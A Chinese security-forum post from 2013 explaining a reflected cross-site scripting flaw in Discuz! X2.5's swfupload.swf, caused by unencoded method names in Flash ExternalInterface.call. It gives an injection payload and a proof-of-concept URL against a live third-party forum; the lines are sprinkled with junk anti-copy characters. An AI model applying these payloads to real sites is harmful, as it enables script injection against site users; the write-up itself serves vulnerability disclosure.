中国网络渗透测试联盟

标题: Flash应用安全系列[2]--Discuz! X2.5反射型跨站 [打印本页]

作者: admin    时间: 2013-2-23 12:50
标题: Flash应用安全系列[2]--Discuz! X2.5反射型跨站
上回我们说" V9 |' W8 Z' G

: A4 O, }/ z. mflash.external.ExternalInterface.call($methodName, $parameter)
. r* j7 @, f9 z7 k在浏览器中执行的是* j, A0 J! L# T5 z, |0 l8 ^4 r: S
% _! q3 R( m; j! ]* r" `2 Z
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}& \' l2 e  ~2 Q* b4 a+ o
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
. ^8 a3 a4 D; p/ A/ A" _
1 `2 L9 ^7 v( R/ qflash.external.ExternalInterface.call("object."+$methodName, $parameter)3 [) m% y# l1 c5 c4 p# X' p- u
$methodName = a())}catch(e){alert(/xss/)}//# y9 i9 m1 O1 _0 Q) b0 R- @# v4 ?
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。4 o% h4 k3 ?2 I( G$ B

5 T! T% _/ k0 m5 T' ^try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
" W7 e2 @$ T( R$ x6 X# Z6 G/ h; N8 }, V
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
& s' N) a$ `, j1 L( R7 M杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。5 H4 P) [7 P+ N- e) j. I& l
4 ]0 t; B' C/ H5 e
3 e4 y6 [' P8 d8 a# p

+ ?: Y3 G8 n' G% y$ k0 F9 F; M漏洞文件:upload\static\image\common\swfupload.swf, v: l7 l6 Q1 W1 M

7 E. F' B3 N" @, @" ?- V7 M原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
5 w; E# o9 X& d+ ~! f
; G; m$ Z$ z- a5 q7 h& ]6 v: S+ d$ Y0 ~0 b
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//; s& v+ o+ K9 r/ {& Z) y1 i2 W

3 V7 i1 n( h$ r: b6 l& Y( p9 \
+ `# F' A$ `/ ]5 R




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2